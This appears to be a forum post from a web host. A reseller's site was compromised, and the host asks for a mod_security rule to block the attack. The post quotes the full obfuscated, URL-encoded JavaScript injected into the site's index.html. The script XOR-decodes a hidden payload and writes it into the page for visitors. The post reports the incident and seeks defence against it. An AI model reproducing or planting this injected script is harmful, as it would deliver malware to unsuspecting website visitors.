One of my resellers contacted me today stating that one of
his websites was hacked and possibly the server. He wanted to know what we were
going to do about it.
I checked the server but no other website is affected except
for two of his own websites.
There seems to be some type of javascript file injection
vuln going around. I searched the logs but could not find anything obvious in
his logs. I checked all sites and they are clean.
Here is what was injected into his index.html file after the
<header> tag.
</html> ; ; ; ; ; ; ; ; ;
<!--[z0s]--><script>do
cument.write(unescape("%3Cscript%3Eif%28wA%21%3D1%29%7Bfunction%20Qg%28gx%29%7Breturn%20gx%7Dtry%7Bfunction%20UNc%28IDB%29%7Br
eturn%20parseInt%28IDB%29%7Dvar%20zmW%3D%27aavalvaLvahvaSvanvagvaIva9vaRvaMvaivaxvaCvadvajvaova7vaVvaJvaOvabvaHvamvawvaevaWvaN
vakvazva6vaYvatvaXvaPvaUvapvaFva3vaBvayvaqvafvarvaZvacvaDvaTvaGva5vasva4va8vaKvlavllvlLvlhvlSvlnvlgvlIvl9vlRvlMvlivlxvlCvldvlj
vlovl7vlVvlJvlOvlbvlHvlmvlw%27%3Bvar%20uNq%3DQg%28%27v%27%29%2CHCR%3DArray%2827751%5E27867%2CUNc%28%27243%27%29%2CUNc%28%27227
%27%29%2CUNc%28%27242%27%29%2CUNc%28%27233%27%29%2C9751%5E9959%2CUNc%28%27244%27%29%2CUNc%28%27190%27%29%2CUNc%28%27230%27%29%
2CUNc%28%27245%27%29%2C10675%5E10589%2C936%5E839%2C21887%5E21983%2CUNc%28%27210%27%29%2C21801%5E22001%2C21825%5E21993%2C5220%5
E5301%2CUNc%28%27201%27%29%2C22845%5E22929%2CUNc%28%27202%27%29%2C16044%5E15945%2CUNc%28%27169%27%29%2CUNc%28%27251%27%29%2C10
351%5E10393%2CUNc%28%27225%27%29%2CUNc%28%27204%27%29%2C10454%5E10245%2CUNc%28%27189%27%29%2CUNc%28%27247%27%29%2C4863%5E4667%
2C29566%5E29637%2CUNc%28%27206%27%29%2CUNc%28%27226%27%29%2C15905%5E16015%2C32317%5E32489%2C618%5E647%2C32760%5E32543%2CUNc%28
%27171%27%29%2CUNc%28%27184%27%29%2CUNc%28%27182%27%29%2C20297%5E20477%2CUNc%28%27176%27%29%2CUNc%28%27228%27%29%2CUNc%28%2723
5%27%29%2CUNc%28%27162%27%29%2CUNc%28%27248%27%29%2CUNc%28%27199%27%29%2CUNc%28%27205%27%29%2CUNc%28%27253%27%29%2CUNc%28%2719
5%27%29%2C30514%5E30613%2CUNc%28%27177%27%29%2CUNc%28%27250%27%29%2C15088%5E14857%2CUNc%28%27213%27%29%2CUNc%28%27236%27%29%2C
UNc%28%27197%27%29%2CUNc%28%27175%27%29%2CUNc%28%27232%27%29%2CUNc%28%27207%27%29%2CUNc%28%27173%27%29%2CUNc%28%27186%27%29%2C
UNc%28%27161%27%29%2C9002%5E9109%2C2844%5E3015%2C11165%5E11075%2C31322%5E31459%2C7836%5E7745%2CUNc%28%27220%27%29%2CUNc%28%271
93%27%29%2C3893%5E3975%2C20421%5E20231%2CUNc%28%27138%27%29%2CUNc%28%27217%27%29%2C24184%5E24243%2CUNc%28%27179%27%29%2CUNc%28
%27181%27%29%2CUNc%28%27183%27%29%2C6089%5E5987%29%3Bvar%20CVS%2ClXs%3Bvar%20QVT%2CMKq%3D%27aaalaLahaSanagaIa9aRaMaLagaSaiaMax
aCadajaoa7aVaJaOabaHaxamawahaxaeaWaNaMaOakaxazawagaOajaba6amawahaxaxaYataNaxaMaOakaxazawagaOajaba6axaYataXalaOagaPaSaUaOajaeaW
aXapaOagaPaSaUaOajabaFa3aBayaqaqaqaqaqaba6axafaiaLaRaUaOaMagaXaLaiaiaraSaOaxaNaxaoa7aFaZaNaZaFaOalaLawanaOajaJaOabaFaZa6aOacan
aSahaOalaNaZaFaYataXagaiaDaTaPaWagahaSaMapajaba6axaGamawahaxaRa5aNasala4a9a5a8asaVaWaKaNasa4asa6amawahaxadlaaNasaRanafawagaOa4
aXaLllawalalaSaLagaOllaXaiahapasaVaOlLaNaslhlSagaUlllhasa6aSa9ajafaiaLaRaUaOaMagaXaLaiaiaraSaOaXaSaMafaOaclna9ajaRa5aFasaNasaF
aWaKabaxaNaNlga4abaHamawahaxaflllSaNafaiaLaRaUaOaMagaXllaiaLawagaSaiaMaXlSaialaga6amawahaxlSaraNaxaslSagasaFasaganlIasaFaslhlh
asaFajaxaflllSaxl9aNaxasaslRasaslIaWlaajababaxaFaxaflllSaXahaOanllawaLaOaxajlhlMliawlga8aqlglxaXlglClhaVasaXasabaXahaOanllawaL
aOaxajlhldaXaFlhaVasaXasabaFasaXasaFaWlaajabaxaFasaXasaxaFaxadlaaFaOlLa6amawahaxaDaRaNafaiaLaRaUaOaMagaXaLahaOawagaOlLllaOaUaO
aMagajasaSa9ahawaUaOasaba6aDaRaXalaOagljagagahaSataRagaOaxajasalahaLasaVaxlSaraba6aDaRaXlSaOaSaplSagaNa4a6aDaRaXakaSafaglSaNlo
a6aDaRaXa9ahawaUaOl7aiahafaOahaxaNaxaqa6axagahaKaHaxafaiaLaRaUaOaMagaXataiafaKaXawananaOaMafa5lSaSllafaxajaxaDaRaba6axaCadajaR
a5aVaxaWaKaxaba6aGaxaLawagaLlSajaOabaxaHafaiaLaRaUaOaMagaXakahaSagaOaxajasaalSagaUllaIaaataiafaKaIaalhataiafaKaIaalhlSagaUllaI
asaba6axafaiaLaRaUaOaMagaXataiafaKaXawananaOaMafa5lSaSllafaxajaxaDaRaba6aCadaxajaxaRa5aVaWaKabaxa6aGaxaGlVa9aRaMaLagaSaiaMaxaW
laajabaHaxamawahaxlJlOaNloayaVamaoaNaZaqa4lolbaylHaBlma3lxaqawataLafaOa9aZa6amawahaxafazaNaZaZa6axa9aiahajatagaNaqa6axatagaxaa
axlJlOa6axatagaFaFabaxafazaFaNaxamaoaXalaRatalagahajaTawaglSaXa9llaiaiahajaTawaglSaXahawaMafaiaUajablwamaoaXllaOaMapaglSabaVa4
aVa4aba6axahaOagaRahaMaxafaza6axaGaalhalaLahaSanagaI%27%3Bvar%20Hui%3DString%28%29%3BzmW%3DzmW.split%28uNq%29%3Bfor%20%28CVS%3
D0%3BCVS%3CMKq.length%3BCVS+%3D2%29%7BQVT%3DMKq.substr%28CVS%2C2%29%3Bfor%28lXs%3D0%3BlXs%3CzmW.length%3BlXs++%29%7Bif%28zmW%5
BlXs%5D%3D%3DQVT%29break%3B%7DHui+%3DString.fromCharCode%28HCR%5BlXs%5D%5E128%29%3B%7Ddocument.write%28Hui%29%3B%7Dcatch%28VMj
%29%7B%7D%7Dvar%20wA%3D1%3C/script%3E"))</script><!--[/z0s]-->
There is a small discussion about this at http://groups.google.com/group/stopbadware/browse_thread/thread/69bac2aaac70e4d5/26405b950d361a23
Is there a mod_sec rule that can stop this?
Thanks
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